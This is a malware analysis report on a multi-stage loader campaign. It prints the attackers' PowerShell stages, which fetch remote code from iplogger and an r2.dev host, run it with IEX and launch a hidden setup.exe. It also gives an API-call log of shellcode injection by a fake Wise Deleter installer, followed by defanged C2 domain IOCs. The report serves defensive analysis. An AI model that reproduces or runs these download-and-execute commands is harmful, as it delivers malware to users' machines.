File Analysis - 2024:12:30

Network indicators on this page are defanged (e.g. example[.]com) so they can't be clicked by accident.

Samples can be downloaded here

Files

bb9de58568867799c964de3c59a7e70a4c69703444126740dca59a8306ca9be3
2853b847ab23e8e0161ecd07aaf1403a1a046ed2539c313d07f5fedeafa2da40
ed89e47950562f8720f044b3e92c359051d063681ecebf645e5c9ecc11517ac4
43d84ae71fa0d0895af8b2d5a45841fc73c38c079b1dcf787ef7427e0795e937

Stages 1 & 2

The first stages were lightly obfuscated powershell scripts that downland and execute a payload ultimately with IEX and Start-Process.

Stage 1

powershell.exe -W Hidden -command  $url = 'hxxps://iplogger[.]ru/2tm295';
    $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content;
    iex $text

Stage 2

$qmn = 'hxxps://pub-7a0525921ff54f1193db83d7303c6ee8[.]r2[.]dev/poltos.zip'
    $xtr = "$env:APPDATA\pwrd.zip"
    $ypd = "$env:APPDATA\Extracted1"
    $zjl = Join-Path $ypd 'setup.exe'

    if (!(Test-Path $ypd)) { New-Item -Path $ypd -ItemType Directory }

    Invoke-WebRequest -Uri $qmn -OutFile $xtr

    Add-Type -A 'System.IO.Compression.FileSystem'
    [IO.Compression.ZipFile]::ExtractToDirectory($xtr, $ypd)
    Remove-Item $xtr -Force

    Start-Process -FilePath $zjl -WindowStyle Hidden

Stage-3 (Setup.exe)

Stage-3 masquerades as a Wise Deleter installer by borrowing the icon and borrowing the official name in the metadata. The intent is obfuscation through obscurity, and on an initial look there is no indication of traditional malware behavior, such as API hashing, cryptography, etc. Instead, the malware relies on an abundance of statically-linked C code to make analysis incredibly cumbersome. We were able to hone in on specific points of interest by exporting function logs after letting Stage-3 run dynamically. Ultimately, the following routines caught in another thread caught our attention:

[0067.131] VirtualAlloc (lpAddress=0x0, dwSize=0x4fbc0, flAllocationType=0x3000, flProtect=0x4) returned 0x26c0000
    [0067.136] LoadLibraryA (lpLibFileName="mscoree.dll") returned 0x72950000
    [0067.209] GetModuleHandleA (lpModuleName=0x0) returned 0x400000
    [0067.209] NtCreateSection (in: SectionHandle=0x36bf83c, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x36bf844, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x36bf83c*=0x168) returned 0x0
    [0067.209] GetCurrentProcess () returned 0xffffffff
    [0067.209] NtMapViewOfSection (in: SectionHandle=0x168, ProcessHandle=0xffffffff, BaseAddress=0x36bf808*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x36bf820*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x36bf808*=0x36c0000, SectionOffset=0x0, VSize=0x36bf820*=0x5c000) returned 0x0
    [0067.214] VirtualAlloc (lpAddress=0x0, dwSize=0xc8, flAllocationType=0x3000, flProtect=0x4) returned 0x1f0000
    [0067.214] GetCurrentProcess () returned 0xffffffff
    [0067.214] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x36c0000) returned 0x0
    [0067.225] GetCurrentProcess () returned 0xffffffff
    [0067.225] NtMapViewOfSection (in: SectionHandle=0x168, ProcessHandle=0xffffffff, BaseAddress=0x36bf808*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x36bf820*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x80 | out: BaseAddress=0x36bf808*=0x36c0000, SectionOffset=0x0, VSize=0x36bf820*=0x5c000) returned 0x0
    [0067.226] VirtualProtect (in: lpAddress=0x36c0000, dwSize=0x5c000, flNewProtect=0x8, lpflOldProtect=0x36bf828 | out: lpflOldProtect=0x36bf828*=0x80) returned 1
    [0067.227] VirtualProtect (in: lpAddress=0x36c1000, dwSize=0x43000, flNewProtect=0x20, lpflOldProtect=0x36bf828 | out: lpflOldProtect=0x36bf828*=0x8) returned 1
    [0067.234] VirtualProtect (in: lpAddress=0x3704000, dwSize=0x3000, flNewProtect=0x2, lpflOldProtect=0x36bf828 | out: lpflOldProtect=0x36bf828*=0x8) returned 1
    [0067.235] VirtualProtect (in: lpAddress=0x3707000, dwSize=0x10000, flNewProtect=0x8, lpflOldProtect=0x36bf828 | out: lpflOldProtect=0x36bf828*=0x8) returned 1
    [0067.235] VirtualProtect (in: lpAddress=0x3717000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x36bf828 | out: lpflOldProtect=0x36bf828*=0x8) returned 1
    [0067.235] VirtualProtect (in: lpAddress=0x3718000, dwSize=0x3e00, flNewProtect=0x2, lpflOldProtect=0x36bf828 | out: lpflOldProtect=0x36bf828*=0x8) returned 1
    [0067.235] VirtualProtect (in: lpAddress=0x36c0000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x36bf828 | out: lpflOldProtect=0x36bf828*=0x8) returned 1

By breaking on VirtualAlloc we were able to observe shellcode loading into new memory. Obtaining execution into the shellcode was more tricky, and required setting a hardware breakpoint on the memory region. The shellcode was extracted and can be statically analyzed in Ghidra or IDA. Note that the shellcode needs to be loaded at the base address 0x02C60000. The shellcode is highly obfuscated, and contains only one meaningful string ("Hdy4--pl8vs06") at 0x02CA56C0, although this is probably a useless IOCs, but may serve as a campaign tracking indicator.

Shellcode

The shellcodes entry address is 0x02c69090. All APIs are resolved via PEB walking and importing dynamically. Practically, there is no way to statically determine what is imported. The PEB is resolved 10 times in the shellcode at various routines. The shellcode ultimately imports
"winhttp.dll" and "ws2_32.dll" and attempts to retrieve a subsequent payload or data from one of the first nine domains in the IOCs section below. At the time of our analysis, we were unable to resolve further payloads or instructions from these servers. The image below shows where you'll likely need to inform your disassembler as to where the entry point is, and manually disassemble from there.

IOCs

DNS

"processhol[.]sbs"
"librari-night[.]sbs"
"befall-sm0ker[.]sbs"
"p10tgrace[.]sbs"
"peepburry828[.]sbs"
"owner-vacat10n[.]sbs"
"3xp3cts1aim[.]sbs"
"p3ar11fter[.]sbs"
"w0rdergen1[.]cyou"
"iplogger[.]ru/2tm295"